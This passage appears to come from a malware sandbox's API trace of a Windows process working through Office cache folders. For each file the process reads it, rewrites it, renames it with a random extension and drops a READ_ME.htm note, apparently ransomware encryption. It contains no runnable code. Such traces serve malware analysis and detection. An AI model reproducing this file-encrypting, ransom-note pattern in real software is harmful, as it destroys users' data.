SetErrorMode (uMode=0x0) returned 0x1 [0134.653] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml.ll6jcd" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml.ll6jcd")) returned 1 [0134.654] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.654] SetErrorMode (uMode=0x1) returned 0x0 [0134.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.666] GetFileType (hFile=0x1d0) returned 0x1 [0134.666] SetErrorMode (uMode=0x0) returned 0x1 [0134.666] GetFileType (hFile=0x1d0) returned 0x1 [0134.666] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x87f [0134.666] ReadFile (in: hFile=0x1d0, lpBuffer=0x290ad80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x290ad80*, lpNumberOfBytesRead=0x21d4d8*=0x87f, lpOverlapped=0x0) returned 1 [0134.688] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.688] SetErrorMode (uMode=0x1) returned 0x0 [0134.689] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.691] GetFileType (hFile=0x1d0) returned 0x1 [0134.691] SetErrorMode (uMode=0x0) returned 0x1 [0134.691] GetFileType (hFile=0x1d0) returned 0x1 [0134.691] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ee990*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29ee990*, lpNumberOfBytesWritten=0x21d478*=0x880, lpOverlapped=0x0) returned 1 [0134.692] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.692] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml.spt7cg", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml.spt7cg", lpFilePart=0x0) returned 0x4f [0134.692] SetErrorMode (uMode=0x1) returned 0x0 [0134.692] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4cde7ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0134.693] SetErrorMode (uMode=0x0) returned 0x1 [0134.693] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml.spt7cg" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml.spt7cg")) returned 1 [0134.694] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0134.694] SetErrorMode (uMode=0x1) returned 0x0 [0134.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.695] GetFileType (hFile=0x1d0) returned 0x1 [0134.695] SetErrorMode (uMode=0x0) returned 0x1 [0134.695] GetFileType (hFile=0x1d0) returned 0x1 [0134.695] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f37d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29f37d0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0134.697] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.697] SetErrorMode (uMode=0x1) returned 0x0 [0134.697] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x224df1f0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x224df1f0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd5202, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0134.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x125bd4d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x125bd4d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x245000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0134.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa241b20, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa241b20, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x466, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0134.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.720] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.721] SetErrorMode (uMode=0x0) returned 0x1 [0134.721] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.721] SetErrorMode (uMode=0x1) returned 0x0 [0134.722] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x224df1f0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x224df1f0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd5202, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0134.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x125bd4d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x125bd4d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x245000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0134.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa241b20, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa241b20, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x466, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0134.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.724] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.725] SetErrorMode (uMode=0x0) returned 0x1 [0134.725] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0134.725] SetErrorMode (uMode=0x1) returned 0x0 [0134.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.726] GetFileType (hFile=0x1d0) returned 0x1 [0134.727] SetErrorMode (uMode=0x0) returned 0x1 [0134.727] GetFileType (hFile=0x1d0) returned 0x1 [0134.727] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x466 [0134.727] ReadFile (in: hFile=0x1d0, lpBuffer=0x29f7350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29f7350*, lpNumberOfBytesRead=0x21d4d8*=0x466, lpOverlapped=0x0) returned 1 [0134.834] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0134.835] SetErrorMode (uMode=0x1) returned 0x0 [0134.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.837] GetFileType (hFile=0x1d0) returned 0x1 [0134.838] SetErrorMode (uMode=0x0) returned 0x1 [0134.838] GetFileType (hFile=0x1d0) returned 0x1 [0134.838] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d9500*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28d9500*, lpNumberOfBytesWritten=0x21d478*=0x470, lpOverlapped=0x0) returned 1 [0134.841] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0134.841] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml.ahvgss", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml.ahvgss", lpFilePart=0x0) returned 0x53 [0134.841] SetErrorMode (uMode=0x1) returned 0x0 [0134.841] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa241b20, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa241b20, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4cf64c60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0134.841] SetErrorMode (uMode=0x0) returned 0x1 [0134.841] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml.ahvgss" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml.ahvgss")) returned 1 [0134.842] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.842] SetErrorMode (uMode=0x1) returned 0x0 [0134.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.845] GetFileType (hFile=0x1d0) returned 0x1 [0134.845] SetErrorMode (uMode=0x0) returned 0x1 [0134.846] GetFileType (hFile=0x1d0) returned 0x1 [0134.846] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x668 [0134.846] ReadFile (in: hFile=0x1d0, lpBuffer=0x28db7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28db7d8*, lpNumberOfBytesRead=0x21d4d8*=0x668, lpOverlapped=0x0) returned 1 [0134.869] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.870] SetErrorMode (uMode=0x1) returned 0x0 [0134.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.871] GetFileType (hFile=0x1d0) returned 0x1 [0134.871] SetErrorMode (uMode=0x0) returned 0x1 [0134.871] GetFileType (hFile=0x1d0) returned 0x1 [0134.871] WriteFile (in: hFile=0x1d0, lpBuffer=0x29be998*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29be998*, lpNumberOfBytesWritten=0x21d478*=0x670, lpOverlapped=0x0) returned 1 [0134.873] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.873] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml.1v9a9r", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml.1v9a9r", lpFilePart=0x0) returned 0x4f [0134.873] SetErrorMode (uMode=0x1) returned 0x0 [0134.873] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4cfb0f20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x670)) returned 1 [0134.873] SetErrorMode (uMode=0x0) returned 0x1 [0134.874] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\Setup.xml.1v9a9r" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\setup.xml.1v9a9r")) returned 1 [0134.874] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0134.875] SetErrorMode (uMode=0x1) returned 0x0 [0134.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.875] GetFileType (hFile=0x1d0) returned 0x1 [0134.875] SetErrorMode (uMode=0x0) returned 0x1 [0134.875] GetFileType (hFile=0x1d0) returned 0x1 [0134.876] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c37d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29c37d8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0134.877] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.877] SetErrorMode (uMode=0x1) returned 0x0 [0134.877] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, 